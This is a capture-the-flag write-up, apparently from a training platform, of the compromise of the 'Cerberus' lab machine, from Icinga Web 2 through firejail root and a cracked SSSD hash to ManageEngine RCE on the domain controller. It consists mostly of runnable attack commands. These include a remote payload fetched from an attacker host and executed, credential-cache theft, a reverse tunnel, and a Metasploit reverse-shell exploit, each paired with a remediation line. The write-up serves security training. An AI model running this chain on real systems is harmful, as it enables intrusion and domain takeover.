Cerberus
Summary
I found only an Apache web server on port 8080 redirecting to an Icinga Web 2 monitoring portal. A known Icinga Web 2 account (matthew) with a password recovered through the application's local file disclosure flaw gave a working login, which was then used to abuse Icinga's configuration features to write and run PHP code as the web user inside a Linux host that was itself joined to the company's Active Directory domain. A SUID-root firejail binary (CVE-2022-31214) was abused to become root on that host.
The domain-joined host's SSSD credential cache held the domain user's password hash, which was cracked offline and reused to log into the Windows domain controller over WinRM through a network tunnel. On the DC, a locally stored ManageEngine ADSelfService Plus offline backup supplied the SAML configuration values needed to exploit CVE-2022-47966, giving remote code execution as SYSTEM and full domain control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for matthew over nxc>"
export PASSWORD2="<the-password-you-recovered, for matthew over curl>"
export PASSWORD3="<the-password-you-recovered, for matthew over nxc>"Some commands also carry a value in angle brackets — <guid>, <issuer_url>, <token> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Full port sweep of the target.
$ nmap -p- --min-rate=1000 $TARGETService/version detection on the open port.
$ nmap -sCV -p8080 $TARGETResolve the redirected vhost locally.
$ echo "$TARGET icinga.cerberus.local" | sudo tee -a /etc/hostsFollow the redirect chain to the Icinga Web 2 login page.
$ curl -ksS -L --max-redirs 5 -D - http://$TARGET:8080/Exact commands 2
Fetch the login page and harvest the CSRF token.
$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -L -c cookies.txt http://icinga.cerberus.local:8080/icingaweb2/authentication/login -o login.html && grep -oP 'name="CSRFToken" value="\K[^"]+' login.htmlAuthenticate as matthew; replace <token> with the harvested CSRFToken.
$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -i -b cookies.txt -c cookies.txt -X POST http://icinga.cerberus.local:8080/icingaweb2/authentication/login --data-urlencode username=matthew --data-urlencode password=$PASSWORD2 --data-urlencode formUID=form_login --data-urlencode 'CSRFToken=<token>'FixPatch Icinga Web 2 and remove exposed credentials from readable configurationCritical
Exact commands 2
Confirm command execution as www-data.
$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -b cookies.txt 'http://icinga.cerberus.local:8080/icingaweb2/config/module?name=cmd&cmd=id%3Bwhoami'Stage and launch a reverse-shell/Meterpreter payload; serve shell.elf from a local http.server first.
$ curl --resolve icinga.cerberus.local:8080:$TARGET -sS -b cookies.txt --get 'http://icinga.cerberus.local:8080/icingaweb2/config/module?name=cmd' --data-urlencode "cmd=curl -s http://$ATTACKER_IP:8000/shell.elf -o /tmp/.cerb && chmod +x /tmp/.cerb && setsid -f /tmp/.cerb"FixRemove or tightly restrict the Icinga Web 2 'cmd' moduleHigh
Exact commands 4
Confirm the vulnerable 0.9.68rc1 build is in use.
$ firejail --versionIdentify the PID of a root-owned firejail sandbox to join.
$ ps aux | grep -i rootJoin the root sandbox namespace (CVE-2022-31214); run as the www-data/low-priv user.
$ firejail --join=1559Run inside the joined root context to exfiltrate the SSSD credential cache.
$ cp /var/lib/sss/db/cache_cerberus.local.ldb /dev/shm/cache.ldb && chmod 644 /dev/shm/cache.ldbFixUpgrade firejail and avoid relying on it as a security boundary against local rootCritical
Exact commands 2
Extract candidate sha512crypt hash strings from the cache file.
$ strings cache_cerberus.local.ldb | sort -u | grep '\$6\$'Crack the sha512crypt hash offline.
$ hashcat -a 0 -m 1800 hash.txt rockyou.txtFixProtect SSSD credential caches and enforce strong, unique domain passwordsHigh
Exact commands 3
Run on the me (Kali) box.
$ chisel server -p 18001 --reverseRun from the Linux foothold to forward the DC's WinRM port back to me.
$ chisel client $ATTACKER_IP:18001 R:15985:$INTERNAL_HOST:5985Authenticate over the forwarded WinRM port and read the user flag (shown as <user.txt>).
$ nxc winrm 127.0.0.1 --port 15985 -u matthew -p $PASSWORD3 -d cerberus.local -X "whoami; Get-Content 'C:\\Users\\matthew\\Desktop\\user.txt'"Exact commands 2
Extract the offline backup archive via WinRM using the known reversed-filename password.
$ nxc winrm 127.0.0.1 --port 15985 -u matthew -p $PASSWORD3 -d cerberus.local -X "& 'C:\\Program Files (x86)\\ManageEngine\\ADSelfService Plus\\tools\\archiver\\7za.exe' x 'C:\\Program Files (x86)\\ManageEngine\\ADSelfService Plus\\backup\\OfflineBackup_20230214064809.ezip' -oC:\\Windows\\Temp\\adss_backup -p$PASSWORD -y"Grep the extracted backup for the SAML issuer_url value.
$ nxc winrm 127.0.0.1 --port 15985 -u matthew -p $PASSWORD3 -d cerberus.local -X "Select-String -Path C:\\Windows\\Temp\\adss_backup\\* -Pattern 'issuer_url' -SimpleMatch"FixPatch ManageEngine ADSelfService Plus and secure its offline backup archivesCritical
Exact commands 3
Replace <guid> and <issuer_url> with the values recovered from the offline backup; route via the established tunnel if needed.
$ msfconsole -q -x "use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966; set RHOSTS $INTERNAL_HOST; set TARGETURI /samlLogin; set GUID <guid>; set ISSUER_URL <issuer_url>; set LHOST $ATTACKER_IP; set payload cmd/windows/powershell/meterpreter/reverse_tcp; exploit"Drop to a native shell once SYSTEM access is obtained.
$ meterpreter> shellRead the root flag (shown as <root.txt>).
$ type C:\Users\Administrator\Desktop\root.txtAttack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 8080/tcp | http Apache httpd 2.4.52 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.